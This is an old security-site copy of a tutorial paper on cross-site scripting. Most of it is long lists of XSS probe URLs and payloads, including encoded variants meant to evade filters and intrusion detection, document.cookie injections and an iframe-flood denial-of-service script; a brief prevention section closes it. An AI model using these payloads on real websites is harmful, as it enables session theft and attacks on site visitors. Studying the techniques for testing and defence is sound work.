#Home
|
#Search
|
#IRC(
WEB
/
Client
)
|
#MD5 Cracker
|
#Categories
|
#Links
|
#About
Cross Site Scripting Paper - XSS Xposed
____ ___ _____ __ ___ ___ ____ | | | | | | \ | / | \ | | ) | |~~~| |~~~ ~~~~ | | \ | \---) | ) | ~~~ | ----- / | | | |___ __|__ | \ | __/ |___ / |___ | \ XSS : Cross Site Scripting - Exposed - Why, How, When, Where! By Rafel Ivgi, The-Insider. Israel. After all the XSS i found, i finally decided to write all that i know about it. Table Of Contents: 1. What is Cross Site Scripting? 2. Who does it hurt? 3. What can be done with Cross Site Scripting? 4. How to find it? 5. How to avoid it? 6. Refferals 1. What is Cross Site Scripting? -------------------------------------------- Cross Site Scripting is currently the most common vulnerability in the world. This is vulnerability of some host which allows anyone to inject code/scripts into the page. The injected scripts could be html tags, javascript script, vbscript scripts. Cross Site Scripting exsistance is because of the lack of filtering engines to user inputs at websites, forms and webservers. 2. Who does it hurt? ---------------------------- Cross Site Scripting mostly hurt the *users* who visit the website. A website can contain scripts that will harm that user who visit it. Therefore when a user chooses to surf into a website, he is taking a certain amount of risk. Although it sounds ridiculous, it is true. This is pretty obvious, but what if the user surfs into a website known/marked as safe?! this is where Cross Site Scripting fits in. So why would i click that evil link? because its a link of my bank(for example). A big risk to the administrator is upon recieving an email with a script or link that will use the XSS vulnerability on the administrator and will steal his files/data/passwords/cookies. At some *very rare* cases Cross Site Scripting can cause a remote compromise. This means that it will hurt the server. 3. What can be done with Cross Site Scripting? ----------------------------------------------------------------- Cross Site Scripting works the best when it is combined with "Social Engineering". All an attacker is required to do is to create a web page the will have an evil link such as: <a href="[http://<XSS-host]/xssfile?evil request">Hi! visit my website</a> Or <iframe src="[http://<XSS-host]/xssfile?evil request">you cant see me killing you</iframe> For Example: http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) { document.write("\<iframe src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i + "\"\>\<\/iframe>"); } document.refresh; </script> This url will D.O.S(Denial Of Service) a user, or in others words, will cause resource exhaustion and the user's computer will stuck. This example uses my "outlook snews false servers injection", but it can also be used with any other script/code that uses a vulnerability in the internet browser, mostly Internet Explorer. This kind of links could also be spread at newsgroups, forums, chats, instant messangers. 4. How to find it? ----------------------- This is the best part. Its very easy to find, its everywhere. First, i recommend to check the server's error reply. Many times when requesting a non-existing filename from the server it will reply the attacker's request in quotes. So just browsing one of the following urls has a good chance to find XSS. http://[host]/<script>alert("XSS")</script> http://[host]/<script>alert('XSS')</script>/ http://[host]/<script>alert('XSS')</script>. http://[host]/<script>alert('XSS')</script> http://[host]/\<script\>alert(\'XSS\')\<\/script\> http://[host]/perl/\<sCRIPT>alert("d")</sCRIPT>\.pl http://[host]/perl/\<sCRIPT>alert('d')</sCRIPT>\.pl http://[host]/\<sCRIPT>alert("d")</sCRIPT>\ http://[host]\<sCRIPT>alert('d')</sCRIPT>\ http://[host]/<\73CRIP\T>alert("dsf")<\/\73CRIP\T> http://[host]/<\73CRIP\T>alert('dsf')<\/\73CRIP\T> http://[host]/</sCRIP/T>alert("dsf")<///sCRIP/T> http://[host]/</sCRIP/T>alert('dsf')<///sCRIP/T> This requests should also be tested using a post request (with a '?') after the host: http://[host]/?<script>alert("XSS")</script> http://[host]/?<script>alert('XSS')</script> http://[host]/?\<script\>alert(\'XSS\')\<\/script\> http://[host]/perl/?\<sCRIPT>alert("d")</sCRIPT>\.pl http://[host]/perl/?\<sCRIPT>alert('d')</sCRIPT>\.pl http://[host]/?\<sCRIPT>alert("d")</sCRIPT>\ http://[host]\?<sCRIPT>alert('d')</sCRIPT>\ http://[host]/?<\73CRIP\T>alert("dsf")<\/\73CRIP\T> http://[host]/?<\73CRIP\T>alert('dsf')<\/\73CRIP\T> http://[host]/?</sCRIP/T>alert("dsf")<///sCRIP/T> http://[host]/?</sCRIP/T>alert('dsf')<///sCRIP/T> Sometimes the server will only return an error when it recieves a really long request, such as: http://[host]/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<script>alert('xss')</script> XSS inside folders: Many webservers have default pages to folders that will look for a file and will reply our script. For Example , and XSS I found at Novell Netware: http://[host]/nsn/"<script%20language=vbscript>msgbox%20sadas</script>".bas But the idea lies in: http://[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".bas http://[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".asp http://[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".jsp http://[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".htm http://[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".html http://[host]/[folder]/"<script%20language=vbscript>msgbox%20sadas</script>".[ext] A common place for an XSS hole is inside a server default example files, such as: http://<host>/cgi/example?test=<script>alert('xss')</script> One of the most common places to find XSS in are the search files of servers, For Example: http://[host]/search.php?searchstring=<script>alert('XSS')</script> http://[host]/search.php?searchstring="><script>alert('XSS')</script> http://[host]/search.php?searchstring='><script>alert('XSS')</script> This was the easy part, but a higher level of XSS is when the attacker encodes his evil requests. Attackers encode their requests for two reasons: 1. Evoiding IDS(Intrusion Detection System) - which are smarter this days. 2. If there is a filtering engine that will filter the previously described form of attack the encoded request may bypass the filtering engine. So requesting http://[host]/%3cscript%3ealert('XSS')%3c/script%3e http://[host]/%3c%53cript%3ealert('XSS')%3c/%53cript%3e http://[host]/%3c%53cript%3ealert('XSS')%3c%2f%53cript%3e http://[host]/%3cscript%3ealert('XSS')%3c/script%3e http://[host]/%3cscript%3ealert('XSS')%3c%2fscript%3e http://[host]/%3cscript%3ealert(%27XSS%27)%3c%2fscript%3e http://[host]/%3cscript%3ealert(%27XSS%27)%3c/script%3e http://[host]/%3cscript%3ealert("XSS")%3c/script%3e http://[host]/%3c%53cript%3ealert("XSS")%3c/%53cript%3e http://[host]/%3c%53cript%3ealert("XSS")%3c%2f%53cript%3e http://[host]/%3cscript%3ealert("XSS")%3c/script%3e http://[host]/%3cscript%3ealert("XSS")%3c%2fscript%3e http://[host]/%3cscript%3ealert(%34XSS%34)%3c%2fscript%3e http://[host]/%3cscript%3ealert(%34XSS%34)%3c/script%3e This requests should also be tested using a post request (with a '?') after the host: http://[host]/?%3cscript%3ealert('XSS')%3c/script%3e http://[host]/?%3c%53cript%3ealert('XSS')%3c/%53cript%3e http://[host]/?%3c%53cript%3ealert('XSS')%3c%2f%53cript%3e http://[host]/?%3cscript%3ealert('XSS')%3c/script%3e http://[host]/?%3cscript%3ealert('XSS')%3c%2fscript%3e http://[host]/?%3cscript%3ealert(%27XSS%27)%3c%2fscript%3e http://[host]/?%3cscript%3ealert(%27XSS%27)%3c/script%3e http://[host]/?%3cscript%3ealert("XSS")%3c/script%3e http://[host]/?%3c%53cript%3ealert("XSS")%3c/%53cript%3e http://[host]/?%3c%53cript%3ealert("XSS")%3c%2f%53cript%3e http://[host]/?%3cscript%3ealert("XSS")%3c/script%3e http://[host]/?%3cscript%3ealert("XSS")%3c%2fscript%3e http://[host]/?%3cscript%3ealert(%34XSS%34)%3c%2fscript%3e http://[host]/?%3cscript%3ealert(%34XSS%34)%3c/script%3e You request can also be 100% encoded: http://[host]/?%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e http://[host]/?%27%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e http://[host]/%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e Another form of encoding is :<script>alert(document.cookie)</script> when < is encoded as : < > is encoded as : > For Example: http://[host]/<script>alert("XSS")</script> http://[host]/<script>alert(%34XSS%34)</script> http://[host]/?<script>alert('XSS')</script> http://[host]/search.php?action=soundex&firstname="><script>alert(document.cookie)</script> Now you probably think that this are too many links too check manually, therefore any researcher/attacker that is looking for XSS should have an automatic url prober. Obviously any of the XSS requests presented above could be used on any asp, cfm, jsp, cgi, php or any other active html file. For example: http://[host]/forum/post.asp?<script>alert('XSS')</script> http://[host]/forum/post.asp?%3cscript%3ealert('XSS')%3c/script%3e http://[host]/forum/post.asp?%3cscript%3ealert(%27XSS%27)%3c/script%3e http://[host]/forum/post.asp?%3cscript%3ealert(%34XSS%34)%3c/script%3e http://[host]/forum/post.asp?<script>alert("XSS")</script> Another good place to look for XSS in is at the end of the form's exsisting parameters or maby even after some text. For Example: http://<host>/Forms/rpAuth_1?ZyXEL%20ZyWALL%20Series<script>alert('XSS')</script> http://[host]/forum/post.asp?showpost=1231&ver=22<script>alert('XSS')</script> http://[host]/forum/post.asp?showpost=1231<script>alert('XSS')</script>&ver=22 Creating errors such as inputting a string instead of a number or "\" or "/" instead of a string, or a very long string or a very large number. All this malformed parameters can help us find the place to inject out XSS at. O.K now i will explain a trick which i call "The Page Always Knows"(TPAK). This means that a very common method to find XSS is by sending a "demo" or "bait" request such as: http://[host]/forum/post.asp?insider Now when the page is loaded and we see that nothing happend we should just view the source of this page and make search for "insider". If it was found than we can start playing with it and see what is missing for us inject an XSS code. Our "insider" will mostly appear inside a form action's parameter. "The Page Always Knows"(TPAK) can also be used to check for "extra parameters", For example: http://[host]/forum/post.asp?showpost=1231&ver=22&insider now again we should look for our insider, and see what we can do. Now for another method of finding XSS, the "Tag Closer". The "Tag Closer" method is used by inputing non-alphabetic and non-numeric chars inside form's input text boxes. This chars could be: \,/,~,!,#,$,%,^,&,-,[,],null(char 255),.(dot) But the chars that mostly does the job is either " or '. What we do is just insert "> or '> inside a text box instead of our name/email/username/password and etc... For example: http://[host]/admin/login.asp?username="><script>alert('XSS')</script>&password=1234 http://[host]/admin/login.asp?username=admin&password="><script>alert('XSS')</script> http://[host]/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~"></textarea>--><script>alert('XSS')</script> http://[host]/search.php?action=soundex&firstname="><script>alert(document.cookie)</script> Or http://[host]/admin/login.asp?username='><script>alert('XSS')</script>&password=1234 http://[host]/admin/login.asp?username=admin&password='><script>alert('XSS')</script> http://[host]/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~'></textarea>--><script>alert('XSS')</script> http://[host]/search.php?action=soundex&firstname='><script>alert(document.cookie)</script> It mainly works on the servers root: http://[host]/?"><script>alert('XSS')</script> http://[host]/?'><script>alert('XSS')</script> http://[host]/?--><script>alert('XSS')</script> A trick for exploiting an XSS after a text injection was found is by putting a <plaintext> tag after the xss code. Sometimes it is not obliged but it can only make it easier/simpler to exploit. For example: http://[host]/?"><script>alert('XSS')</script><plaintext> http://[host]/?'><script>alert('XSS')</script><plaintext> http://[host]/admin/login.asp?username="><script>alert('XSS')</script><plaintext>&password=1234 http://[host]/admin/login.asp?username=admin&password="><script>alert('XSS')</script><plaintext> http://[host]/forum/post.asp?<script>alert('XSS')</script><plaintext> http://[host]/forum/post.asp?%3cscript%3ealert('XSS')%3c/script%3e<plaintext> http://[host]/forum/post.asp?%3cscript%3ealert(%27XSS%27)%3c/script%3e<plaintext> http://[host]/forum/post.asp?%3cscript%3ealert(%34XSS%34)%3c/script%3e<plaintext> http://[host]/forum/post.asp?<script>alert("XSS")</script><plaintext> http://[host]/search.php?action=soundex&firstname="><script>alert(document.cookie)</script><plaintext> *i just want to comment out that if you see that you have injected your code - but somehow it doesn't execute, try : <script>alert(document.cookie)</script><plaintext> 5. How to avoid it? -------------------------- 1. Always check the document reffer. (the host where the data came from) 2. Always check the form's name. (the name of the form the data came from) 3. Never return a "[attacker string] not found/invalid" message. 4. Never to bypass a non-alphabetic and non-numeric chars to the next page after a form's request. make a javascript verification and also a verification inside the recieving document(asp,php,cfm,jsp,cgi) 5. Always check encoded strings and filter if needed. 6. Avoiding Cross Site Scripting is not too hard. The best filtering/protection against it is: filtering(removing from recieved input) any non-alphabetic and non-numeric chars. 7. Also replacing any < with < > with > & with & " with "e; This way the script will not run and will only be presented as text. The most important thing to remember is *NEVER* to translate from: <script>alert(document.cookie)</script> to: <script>alert(document.cookie)</script>
Back
Send all submissions to nullbyte.israel[at]gmail.com
Copyright © 2009 - 2010 | Queries: 4
